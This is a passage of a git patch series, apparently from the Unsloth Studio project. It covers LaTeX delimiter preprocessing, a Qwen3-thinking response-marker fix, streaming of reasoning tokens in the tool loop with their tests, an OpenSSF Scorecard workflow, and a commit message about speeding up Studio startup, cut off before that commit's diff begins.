+ * Spans inside code blocks/spans are left intact (a code sample showing `\(x\)`
+ * must not be rewritten).
+ *
+ * A space is inserted between a converted span and a following `$` so their
+ * delimiters can't fuse (`\(a\)\(b\)` -> `$a$$b$` would mis-tokenize into one
+ * broken span). A preceding currency (`$5\(x\)`) is instead broken later by the
+ * currency escape pass.
+ *
+ * Returns the rewritten text and the `[start, end)` ranges (in the rewritten
+ * string) of every span it produced, so the currency pass can skip them.
+ */
+function convertLatexDelimiters(content: string): {
+  text: string;
+  mathRegions: Array<[number, number]>;
+} {
+  if (!content.includes("\\[") && !content.includes("\\(")) {
+    return { text: content, mathRegions: [] };
+  }
+
+  const codeRegions = findCodeBlockRegions(content);
+  const linkRegions = findLinkDestinationRegions(content);
+  const inSkipZone = (pos: number) =>
+    isInRegion(pos, codeRegions) || isInRegion(pos, linkRegions);
+  // Pushed in ascending, non-overlapping order (offset only grows), so this
+  // stays valid for isInRegion's binary search without a sort.
+  const mathRegions: Array<[number, number]> = [];
+  // Accumulate into an array, not a string: reading the last char off a growing
+  // `+=` accumulator flattens its rope every append (O(n^2) over many spans, on
+  // the per-frame streaming path), so track the tail char and length instead.
+  const parts: string[] = [];
+  let offset = 0;
+  let lastChar = "";
+  let last = 0;
+  // Append a chunk, separating a trailing `$` from a leading `$` so two spans
+  // can't fuse. Returns where the chunk landed (after any inserted space).
+  const append = (chunk: string): number => {
+    if (!chunk) return offset;
+    if (lastChar === "$" && chunk.startsWith("$")) {
+      parts.push(" ");
+      offset += 1;
+    }
+    const start = offset;
+    parts.push(chunk);
+    offset += chunk.length;
+    lastChar = chunk[chunk.length - 1];
+    return start;
+  };
+  let match: RegExpExecArray | null;
+  LATEX_DELIM_RE.lastIndex = 0;
+  while ((match = LATEX_DELIM_RE.exec(content)) !== null) {
+    const matchEnd = match.index + match[0].length;
+    // Skip if either delimiter is inside code or a link destination: an opener
+    // outside such a zone must not consume a closer inside one and rewrite
+    // across the boundary. Resume right after this opener (not past the whole
+    // match) so a valid span that this match spanned across (a stray code `\(`
+    // paired with a real closer) is still found on the next pass, not swallowed.
+    if (inSkipZone(match.index) || inSkipZone(matchEnd - 1)) {
+      LATEX_DELIM_RE.lastIndex = match.index + 1;
+      continue;
+    }
+    const isDisplay = match[1] !== undefined;
+    const body = (isDisplay ? match[1] : match[2]).trim();
+    // Leave an empty span (`\(\)`) literal; a bare `$$` would open a stray
+    // display block that swallows following text.
+    if (!body) {
+      continue;
+    }
+    append(content.slice(last, match.index));
+    const wrapped = isDisplay ? `\n$$\n${body}\n$$\n` : `$${body}$`;
+    const start = append(wrapped);
+    mathRegions.push([start, offset]);
+    last = matchEnd;
+  }
+  append(content.slice(last));
+  return { text: parts.join(""), mathRegions };
+}
+
+/**
+ * Preprocess a markdown string so LaTeX renders: convert bracket delimiters to
+ * dollar forms, then escape currency dollar signs so they are not parsed as
+ * math delimiters.
+ *
+ * - `\[E = mc^2\]` becomes a `$$` display block on its own lines (display math)
+ * - `\(\alpha\)` becomes `$\alpha$` (inline math)
+ * - `\(x\)` in a code span is untouched
  * - `$5` alone becomes `\$5` (currency, not math)
  * - `$\alpha$` is untouched (real LaTeX)
  * - `$30^\circ$` is untouched (LaTeX whose body starts with a digit)
@@ -185,15 +319,22 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
  * - Currency inside code blocks/spans is untouched
  */
 export function preprocessLaTeX(content: string): string {
-  if (!content.includes("$")) return content;
+  const { text, mathRegions } = convertLatexDelimiters(content);
 
-  const codeRegions = findCodeBlockRegions(content);
+  if (!text.includes("$")) return text;
 
-  return content.replace(CURRENCY_REGEX, (match, offset) => {
-    if (isInCodeBlock(offset, codeRegions)) {
+  const codeRegions = findCodeBlockRegions(text);
+
+  return text.replace(CURRENCY_REGEX, (match, offset) => {
+    if (isInRegion(offset, codeRegions)) {
       return match;
     }
-    if (hasInlineMathCloser(content, offset)) {
+    // Skip the spans we just created from `\(...\)` so a numeric body like
+    // `$5$` isn't re-escaped back to literal `\$5$`.
+    if (isInRegion(offset, mathRegions)) {
+      return match;
+    }
+    if (hasInlineMathCloser(text, offset)) {
       return match;
     }
     return "\\" + match;

From 304b8eca7ae8a7bd743850a248308931c062dab9 Mon Sep 17 00:00:00 2001
From: Ayushman <139611211+InfoSage05@users.noreply.github.com>
Date: Tue, 7 Jul 2026 23:58:18 +0530
Subject: [PATCH 242/306] fix: match qwen3-thinking double-newline in
 train_on_responses_only response pattern (#6926)

* fix: match qwen3-thinking chat template double-newline in response pattern

The Qwen3-thinking chat template generates `<think>\n\n` (double newline)
after the think tag, but `train_on_responses_only` was looking for
`<think>\n` (single newline).

`\n\n` is token 271 while `\n` is token 198 -- different tokens, so the
pattern match in `train_on_responses_only` fails, masking ALL tokens and
dropping 100% of training samples.

Update the response pattern from `<think>\n` to `<think>\n\n` to match
what the actual qwen3-thinking template generates.

Fixes #6919

* fix qwen3 thinking response marker

---------

Co-authored-by: Ayushman Paul <ayushman@HP>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
---
 studio/backend/utils/datasets/model_mappings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/studio/backend/utils/datasets/model_mappings.py b/studio/backend/utils/datasets/model_mappings.py
index 463d26a692..9d2c983aed 100644
--- a/studio/backend/utils/datasets/model_mappings.py
+++ b/studio/backend/utils/datasets/model_mappings.py
@@ -487,7 +487,7 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
     },
     "qwen3-thinking": {
         "instruction": "<|im_start|>user\n",
-        "response": "<|im_start|>assistant\n<think>\n",
+        "response": "<|im_start|>assistant\n<think>",
     },
     "qwen3": {
         "instruction": "<|im_start|>user\n",

From a9db53e189f2c23586bfc4a6f472448afc4807ef Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Tue, 7 Jul 2026 19:50:40 -0300
Subject: [PATCH 243/306] Studio: stream reasoning tokens in the tool-loop
 generator (fixes DeepSeek thinking not streaming with a pill on) (#6947)

---
 .../core/inference/anthropic_compat.py        |  28 +++
 studio/backend/core/inference/llama_cpp.py    |  54 +++-
 .../backend/tests/test_anthropic_messages.py  |  43 ++++
 .../backend/tests/test_llama_cpp_tool_loop.py | 231 +++++++++++++++++-
 4 files changed, 338 insertions(+), 18 deletions(-)

diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py
index 7b572a28ff..3c7a4cb182 100644
--- a/studio/backend/core/inference/anthropic_compat.py
+++ b/studio/backend/core/inference/anthropic_compat.py
@@ -258,6 +258,10 @@ class AnthropicStreamEmitter:
         self._open_tool_use_id: Optional[str] = None
         self._open_tool_args_sent: bool = False
         self._prev_text: str = ""
+        # Net <think> minus </think> in the text emitted to the client. Tracked
+        # from emitted deltas (not _prev_text, which a final bare shrink clobbers)
+        # so an unclosed reasoning-only block can be balanced before close.
+        self._open_think_tags: int = 0
         self._usage: dict = {}
 
     def start(
@@ -317,6 +321,7 @@ class AnthropicStreamEmitter:
         """Close any open block and emit message_delta + message_stop."""
         events = []
         if self._text_block_open or self._open_tool_call_id is not None:
+            events.extend(self._close_open_think())
             events.append(self._close_block())
             self._open_tool_call_id = None
             self._open_tool_use_id = None
@@ -344,12 +349,33 @@ class AnthropicStreamEmitter:
         )
         return events
 
+    def _close_open_think(self) -> list[str]:
+        """Emit a ``</think>`` delta when the streamed text left a ``<think>``
+        open. This emitter diffs cumulative snapshots and drops the generator's
+        final bare shrink, so a reasoning-only reply would otherwise end on an
+        unclosed tag. Mirrors the chat route's reasoning extractor, which closes
+        the block on finish; balances the block before it is closed."""
+        if not self._text_block_open or self._open_think_tags <= 0:
+            return []
+        self._open_think_tags = 0
+        return [
+            build_anthropic_sse_event(
+                "content_block_delta",
+                {
+                    "type": "content_block_delta",
+                    "index": self.block_index,
+                    "delta": {"type": "text_delta", "text": "</think>"},
+                },
+            )
+        ]
+
     def _handle_content(self, event: dict) -> list[str]:
         cumulative = event.get("text", "")
         new_text = cumulative[len(self._prev_text) :]
         self._prev_text = cumulative
         if not new_text:
             return []
+        self._open_think_tags += new_text.count("<think>") - new_text.count("</think>")
         if not self._text_block_open:
             events = self._open_text_block()
         else:
@@ -374,6 +400,7 @@ class AnthropicStreamEmitter:
 
         events = []
         if self._text_block_open:
+            events.extend(self._close_open_think())
             events.append(self._close_block())
         # Defensive: close a stale open tool_use block before starting another.
         elif self._open_tool_call_id is not None:
@@ -452,6 +479,7 @@ class AnthropicStreamEmitter:
         events.extend(self._open_text_block())
         # Reset text tracking for the next synthesis turn
         self._prev_text = ""
+        self._open_think_tags = 0
         return events
 
     def _open_text_block(self) -> list[str]:
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 11a4ebb3ec..757467a008 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -8603,13 +8603,31 @@ class LlamaCppBackend:
             }
 
         def _flush_reasoning_and_buffer():
-            """Append buffered reasoning (as a <think> block) then the held
+            """Close a live-streamed <think> block (or emit the buffered reasoning
+            as one block if it never streamed), then append the held
             content_buffer to the cumulative display text."""
-            nonlocal cumulative_display
-            if reasoning_accum:
+            nonlocal cumulative_display, in_thinking
+            if in_thinking:
+                cumulative_display += "</think>"
+                in_thinking = False
+            elif reasoning_accum:
                 cumulative_display += "<think>" + reasoning_accum + "</think>"
             cumulative_display += content_buffer
 
+        def _close_streamed_think() -> bool:
+            """Close a live-streamed <think> before a tool call drains, so
+            consumers without a reasoning extractor (Anthropic) get a balanced
+            block. Returns True when the caller should yield the result."""
+            nonlocal cumulative_display, in_thinking, _last_emitted
+            if not in_thinking:
+                return False
+            cumulative_display += "</think>"
+            in_thinking = False
+            if len(cumulative_display) > len(_last_emitted) and not _suppress_visible_output:
+                _last_emitted = cumulative_display
+                return True
+            return False
+
         def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool:
             """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
             probe = strip_llama3_leading_sentinels(text.lstrip())
@@ -8797,6 +8815,10 @@ class LlamaCppBackend:
                                     # the structured tool call.
                                     has_structured_tc = True
                                     detect_state = _S_DRAINING
+                                    # Close the reasoning prefix before the tool card
+                                    # (mirrors the is_match path).
+                                    if _close_streamed_think():
+                                        yield {"type": "content", "text": cumulative_display}
                                     for tc_d in tc_deltas:
                                         idx = tc_d.get("index", 0)
                                         if idx not in tool_calls_acc:
@@ -8882,17 +8904,17 @@ class LlamaCppBackend:
                                     continue
 
                                 # ── Reasoning tokens ──
-                                # Yield only in STREAMING. In BUFFERING and
-                                # DRAINING, accumulate silently so we don't
-                                # corrupt the consumer's prev_text tracker
-                                # (routes/inference.py never resets it
-                                # between tool iterations).
+                                # Stream live except while DRAINING: reasoning is
+                                # orthogonal to tool detection (content_buffer
+                                # only), and the route resets prev_text on
+                                # tool_start, so the <think> block stays a
+                                # monotonic prefix like the no-tool path.
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
                                     if _reasoning_started_at is None:
                                         _reasoning_started_at = time.monotonic()
                                     reasoning_accum += reasoning
-                                    if detect_state == _S_STREAMING:
+                                    if detect_state != _S_DRAINING:
                                         if not in_thinking:
                                             cumulative_display += "<think>"
                                             in_thinking = True
@@ -9020,9 +9042,15 @@ class LlamaCppBackend:
                                                     _hold_buffer = True
 
                                         if _drain_silently:
-                                            # No visible prefix -- the buffered text IS
-                                            # the call; drain without yielding it.
+                                            # The buffered content IS the call; drain it
+                                            # without yielding. A live <think> prefix is
+                                            # separate from it -- close that.
                                             detect_state = _S_DRAINING
+                                            if _close_streamed_think():
+                                                yield {
+                                                    "type": "content",
+                                                    "text": cumulative_display,
+                                                }
                                         elif is_match:
                                             # Tool signal -- flush any visible
                                             # prefix before DRAINING so the
@@ -9115,7 +9143,9 @@ class LlamaCppBackend:
                                     ),
                                 }
                         elif reasoning_accum and not has_content_tokens:
-                            # Reasoning-only reply: show it as plain text.
+                            # Reasoning-only reply: show it as the main response,
+                            # not a thinking block (mirrors the no-tool path; the
+                            # route's extractor closes the streamed <think>).
                             if _reasoning_started_at is not None and not _reasoning_summary_emitted:
                                 _reasoning_summary_emitted = True
                                 yield _reasoning_summary_event(_reasoning_started_at)
diff --git a/studio/backend/tests/test_anthropic_messages.py b/studio/backend/tests/test_anthropic_messages.py
index 170b456eac..0c6550a3bb 100644
--- a/studio/backend/tests/test_anthropic_messages.py
+++ b/studio/backend/tests/test_anthropic_messages.py
@@ -52,6 +52,49 @@ from io import BytesIO as _BytesIO
 from types import SimpleNamespace
 
 
+def _emitter_client_text(events: list[str]) -> str:
+    """Concatenate the text_delta payloads an SSE event list carries."""
+    text = ""
+    for line in events:
+        for raw in line.split("\n"):
+            raw = raw.strip()
+            if not raw.startswith("data: "):
+                continue
+            data = json.loads(raw[len("data: ") :])
+            delta = data.get("delta", {})
+            if delta.get("type") == "text_delta":
+                text += delta.get("text", "")
+    return text
+
+
+def test_anthropic_emitter_closes_reasoning_only_think_block():
+    # A reasoning-only reply streams <think>X live then shrinks to bare X at EOF.
+    # This emitter diffs cumulative snapshots and drops the shrink, so without a
+    # closing pass the client text would end on an unclosed <think>. finish()
+    # must balance it.
+    emitter = AnthropicStreamEmitter()
+    events = emitter.start("msg_1", "m")
+    events += emitter.feed({"type": "content", "text": "<think>The capital"})
+    events += emitter.feed({"type": "content", "text": "<think>The capital of France is Paris."})
+    # The generator's final bare-text shrink (dropped by the cumulative diff).
+    events += emitter.feed({"type": "content", "text": "The capital of France is Paris."})
+    events += emitter.finish()
+
+    assert _emitter_client_text(events) == "<think>The capital of France is Paris.</think>"
+
+
+def test_anthropic_emitter_does_not_double_close_balanced_think():
+    # A reasoning-then-answer reply already closes its own </think>; the balancer
+    # must not append a second one.
+    emitter = AnthropicStreamEmitter()
+    events = emitter.start("msg_1", "m")
+    events += emitter.feed({"type": "content", "text": "<think>Thinking."})
+    events += emitter.feed({"type": "content", "text": "<think>Thinking.</think>Answer."})
+    events += emitter.finish()
+
+    assert _emitter_client_text(events) == "<think>Thinking.</think>Answer."
+
+
 def test_streamed_anthropic_tool_use_records_api_monitor_reply(monkeypatch):
     import routes.inference as inf_mod
 
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index fb1b0e52b7..afac1f5249 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -221,7 +221,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html"
 
 
-def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
+def test_streamed_reasoning_answer_emits_backend_summary(monkeypatch):
     stream = [
         _sse({"reasoning_content": "I am thinking."}),
         _sse({"reasoning_content": " Still thinking."}),
@@ -240,17 +240,236 @@ def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
         )
     )
 
+    content_texts = [e["text"] for e in events if e["type"] == "content"]
+    # Reasoning streams live during BUFFERING instead of arriving as one block:
+    # each reasoning delta is emitted immediately, wrapped in <think>.
+    assert content_texts[0] == "<think>I am thinking."
+    assert content_texts[1] == "<think>I am thinking. Still thinking."
+    # The final event closes the block and appends the answer.
+    assert content_texts[-1] == "<think>I am thinking. Still thinking.</think>Final answer."
+
     summary_index = next(
         i for i, event in enumerate(events) if event["type"] == "reasoning_summary"
     )
-    content_index = next(i for i, event in enumerate(events) if event["type"] == "content")
-    assert summary_index < content_index
+    final_content_index = max(i for i, event in enumerate(events) if event["type"] == "content")
+    assert summary_index < final_content_index
     assert events[summary_index]["duration_ms"] == 62000
-    assert (
-        events[content_index]["text"]
-        == "<think>I am thinking. Still thinking.</think>Final answer."
+
+
+def test_reasoning_streams_incrementally_with_tools(monkeypatch):
+    # Regression (DeepSeek "thinking doesn't stream"): with a tool/pill active the
+    # tool-loop generator must stream reasoning token-by-token like the no-tool
+    # path, not accumulate it and dump one buffered <think> block.
+    stream = [
+        _sse({"reasoning_content": "Step one."}),
+        _sse({"reasoning_content": " Step two."}),
+        _sse({"reasoning_content": " Step three."}),
+        _sse({"content": "Done."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "think then answer"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
     )
 
+    reasoning_stage = [
+        e["text"]
+        for e in events
+        if e["type"] == "content"
+        and e["text"].startswith("<think>")
+        and "</think>" not in e["text"]
+    ]
+    # One live emission per reasoning delta -- not a single dump.
+    assert reasoning_stage == [
+        "<think>Step one.",
+        "<think>Step one. Step two.",
+        "<think>Step one. Step two. Step three.",
+    ]
+    final = [e["text"] for e in events if e["type"] == "content"][-1]
+    assert final == "<think>Step one. Step two. Step three.</think>Done."
+
+
+def test_reasoning_only_reply_matches_no_tool_path_with_tools(monkeypatch):
+    # A reasoning-only turn (whole answer in reasoning_content, no content, no
+    # tool) with a tool active streams the reasoning live, then resolves to the
+    # bare reasoning text -- identical to the no-tool generate_chat_completion
+    # path -- so the non-streaming drain still returns it as `content`, not an
+    # empty answer.
+    stream = [
+        _sse({"reasoning_content": "The capital of France is Paris."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 5.0, 5.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "just think"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e["text"] for e in events if e["type"] == "content"]
+    # Reasoning streamed live during BUFFERING (the fix).
+    assert content_texts[0] == "<think>The capital of France is Paris."
+    # Resolves to bare reasoning, matching the no-tool sibling.
+    assert content_texts[-1] == "The capital of France is Paris."
+
+
+def test_reasoning_before_structured_tool_closes_think_block(monkeypatch):
+    # Regression: reasoning streamed live during BUFFERING must be closed with
+    # </think> before a structured tool_call drains, so consumers without a
+    # reasoning extractor (Anthropic /v1/messages) never receive an unclosed
+    # <think>. Mirrors the is_match (XML tool signal) path.
+    tool_stream = [
+        _sse({"reasoning_content": "Let me search."}),
+        *_structured_tool_call("web_search", {"query": "weather"}, "call_1"),
+    ]
+    final_stream = [
+        _sse({"content": "It is sunny."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny"
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start")
+    content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"]
+    # Reasoning streamed live, then closed before the tool -- balanced block.
+    assert content_before_tool[0] == "<think>Let me search."
+    assert content_before_tool[-1] == "<think>Let me search.</think>"
+
+
+def _replay_route_reasoning_extractor(cumulatives: list[str]) -> tuple[str, str]:
+    """Replay the route's cumulative suffix-diff + reasoning extractor (the
+    shared core of routes/inference.py gguf_stream_chunks and the tool-loop
+    consumer) over content snapshots. Returns (visible, reasoning)."""
+    from routes.inference import _ResponsesReasoningExtractor
+
+    extractor = _ResponsesReasoningExtractor(parse_think_markers = True)
+    prev_text = ""
+    visible: list[str] = []
+    reasoning: list[str] = []
+    for cumulative in cumulatives:
+        new_text = cumulative[len(prev_text) :]
+        prev_text = cumulative
+        if not new_text:
+            continue
+        reasoning_delta, visible_delta = extractor.feed(new_text)
+        if reasoning_delta:
+            reasoning.append(reasoning_delta)
+        if visible_delta:
+            visible.append(visible_delta)
+    final_reasoning, final_visible = extractor.finish()
+    if final_reasoning:
+        reasoning.append(final_reasoning)
+    if final_visible:
+        visible.append(final_visible)
+    return "".join(visible), "".join(reasoning)
+
+
+def test_reasoning_only_route_output_matches_no_tool_path(monkeypatch):
+    # Parity contract: a reasoning-only reply must reach the client identically
+    # whether tools are on or off. Both generators stream <think> live then
+    # resolve to the bare reasoning text; the route's suffix-diff + extractor
+    # must therefore produce the same (visible, reasoning) split for both.
+    stream = [
+        _sse({"reasoning_content": "The capital"}),
+        _sse({"reasoning_content": " of France is Paris."}),
+        _done(),
+    ]
+
+    tool_backend = _make_backend(monkeypatch, [list(stream)], [])
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 2.0])
+    tool_cumulatives = [
+        e["text"]
+        for e in tool_backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "capital of France?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+        if e.get("type") == "content"
+    ]
+
+    no_tool_backend = _make_backend(monkeypatch, [list(stream)], [])
+    no_tool_cumulatives = [
+        y
+        for y in no_tool_backend.generate_chat_completion(
+            messages = [{"role": "user", "content": "capital of France?"}],
+        )
+        if isinstance(y, str)
+    ]
+
+    # Both paths stream the reasoning live with the same leading shape. (Raw
+    # yield lists aren't compared verbatim: the tool path emits a pre-existing
+    # duplicate trailing event that the route's suffix-diff dedupes.)
+    assert tool_cumulatives[:3] == no_tool_cumulatives[:3]
+    # The contract that matters: identical route-level output.
+    tool_out = _replay_route_reasoning_extractor(tool_cumulatives)
+    no_tool_out = _replay_route_reasoning_extractor(no_tool_cumulatives)
+    assert tool_out == no_tool_out
+    # Pin the shared contract so a change to either path shows up here.
+    _visible, reasoning = tool_out
+    assert reasoning == "The capital of France is Paris."
+
+
+def test_reasoning_before_bare_json_tool_closes_think_block(monkeypatch):
+    # _drain_silently sibling of the structured-tool close: a bare-JSON tool call
+    # with a live reasoning prefix must also close </think> before draining, and
+    # must never leak the drained call text as content.
+    tool_stream = [
+        _sse({"reasoning_content": "Searching now."}),
+        _sse({"content": '{"name":"web_search","arguments":{"query":"weather"}}'}),
+        _done(),
+    ]
+    final_stream = [
+        _sse({"content": "It is sunny."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny"
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start")
+    content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"]
+    assert content_before_tool[0] == "<think>Searching now."
+    assert content_before_tool[-1] == "<think>Searching now.</think>"
+    # The bare-JSON call text was drained, never surfaced as content.
+    assert not any('"name"' in t for t in content_before_tool)
+
 
 def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch):
     tool_stream = [

From 01b8085dc2e8fae5d99ee7d236d58b706988773c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 7 Jul 2026 17:10:01 -0700
Subject: [PATCH 244/306] Create ossf.yml (#6952)

---
 .github/workflows/ossf.yml | 78 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 78 insertions(+)
 create mode 100644 .github/workflows/ossf.yml

diff --git a/.github/workflows/ossf.yml b/.github/workflows/ossf.yml
new file mode 100644
index 0000000000..f9a270540f
--- /dev/null
+++ b/.github/workflows/ossf.yml
@@ -0,0 +1,78 @@
+# This workflow uses actions that are not certified by GitHub. They are provided
+# by a third-party and are governed by separate terms of service, privacy
+# policy, and support documentation.
+
+name: Scorecard supply-chain security
+on:
+  # For Branch-Protection check. Only the default branch is supported. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
+  branch_protection_rule:
+  # To guarantee Maintained check is occasionally updated. See
+  # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
+  schedule:
+    - cron: '21 20 * * 0'
+  push:
+    branches: [ "main" ]
+
+# Declare default permissions as read only.
+permissions: read-all
+
+jobs:
+  analysis:
+    name: Scorecard analysis
+    runs-on: ubuntu-latest
+    # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled.
+    if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request'
+    permissions:
+      # Needed to upload the results to code-scanning dashboard.
+      security-events: write
+      # Needed to publish results and get a badge (see publish_results below).
+      id-token: write
+      # Uncomment the permissions below if installing in a private repository.
+      # contents: read
+      # actions: read
+
+    steps:
+      - name: "Checkout code"
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          persist-credentials: false
+
+      - name: "Run analysis"
+        uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1
+        with:
+          results_file: results.sarif
+          results_format: sarif
+          # (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
+          # - you want to enable the Branch-Protection check on a *public* repository, or
+          # - you are installing Scorecard on a *private* repository
+          # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
+          # repo_token: ${{ secrets.SCORECARD_TOKEN }}
+
+          # Public repositories:
+          #   - Publish results to OpenSSF REST API for easy access by consumers
+          #   - Allows the repository to include the Scorecard badge.
+          #   - See https://github.com/ossf/scorecard-action#publishing-results.
+          # For private repositories:
+          #   - `publish_results` will always be set to `false`, regardless
+          #     of the value entered here.
+          publish_results: true
+
+          # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore
+          # file_mode: git
+
+      # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
+      # format to the repository Actions tab.
+      - name: "Upload artifact"
+        uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1
+        with:
+          name: SARIF file
+          path: results.sarif
+          retention-days: 5
+
+      # Upload the results to GitHub's code scanning dashboard (optional).
+      # Commenting out will disable upload of results to your repo's Code Scanning dashboard
+      - name: "Upload to code-scanning"
+        uses: github/codeql-action/upload-sarif@v3
+        with:
+          sarif_file: results.sarif

From 49d1fb38633b2e5b640f7034a3e69734a16396ac Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Wed, 8 Jul 2026 03:08:07 +0200
Subject: [PATCH 245/306] Speed up Studio startup path (#6899)

* Speed up Studio startup path

* Studio: recheck managed binary executability on preflight cache hit and ignore stale unauthenticated platform fetches

Preflight: a matching capability cache fingerprint no longer skips the
runnability check when the managed binary's executable bit was cleared
(size and mtime unchanged, since chmod bumps ctime not mtime). The cache
fast path now confirms the binary is still executable, otherwise it falls
back to the CLI help probe so preflight reports Stale and can repair,
instead of returning Ready and failing later at backend start. Adds a
regression test.

Frontend: now that first render is no longer gated on fetchDeviceType,
the initial unauthenticated health call can resolve after an
authenticated platform fetch. Guard the store so a late unauthenticated
or failed non-forced response cannot overwrite an already authoritative
device type, tunnel URL, or secure flag. Forced refreshes and the first
unauthenticated load are unaffected.

* Studio: use access(X_OK) for the preflight cache executability guard

A mode bitmask treats any execute bit as launchable, but the executable
bits can be set only for another owner or group, or be denied by an ACL,
so the current user could still hit PermissionDenied at launch and the
cached fast path would wrongly return Ready. access(X_OK) checks real
executability for the calling user, so an ownership or permission change
correctly falls back to the CLI help probe and the Stale repair path.

* Studio: ignore any stale non-forced platform fetch once authoritative

Extend the platform store guard so a non-forced health response never
overwrites an already authoritative result, not only unauthenticated
ones. With a saved token the post-render non-forced request can be
authenticated but older than a later forced refresh that already picked
up the tunnel URL and secure flag; if that earlier request resolves last
it would null those fields. Now any non-forced response is dropped once
the store holds a server-reported platform. Forced refreshes and the
first authoritative write are unaffected.

* Studio: run the managed CLI help probe before trusting the preflight cache

Restore running the managed CLI help probe before returning Ready from
the desktop capability cache, so a managed install whose venv interpreter
or a runtime dependency is broken (while path, size, mtime, and markers
are unchanged) is reported Stale for repair rather than proceeding to a
backend start that cannot spawn. The capability cache still skips the
heavier desktop-capabilities probe on a hit, so a warm cache runs one
probe instead of two. Removes the executable-access shortcut, which the
help probe now subsumes.

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/backend/core/inference/orchestrator.py |   8 +-
 ...t_inference_default_models_non_blocking.py |  42 ++++++
 .../frontend/src/components/app-sidebar.tsx   |  45 ++++--
 studio/frontend/src/config/env.ts             |  26 +++-
 .../frontend/src/features/chat/chat-page.tsx  |  43 +++++-
 .../chat/hooks/use-chat-model-runtime.ts      |  12 +-
 .../src/features/chat/runtime-provider.tsx    |  12 +-
 studio/frontend/src/main.tsx                  |  16 +--
 studio/src-tauri/src/preflight.rs             | 132 +++++++++++++++++-
 studio/src-tauri/src/preflight/managed.rs     |  16 +++
 10 files changed, 308 insertions(+), 44 deletions(-)
 create mode 100644 studio/backend/tests/test_inference_default_models_non_blocking.py

diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 19d2230278..cf5d24c367 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
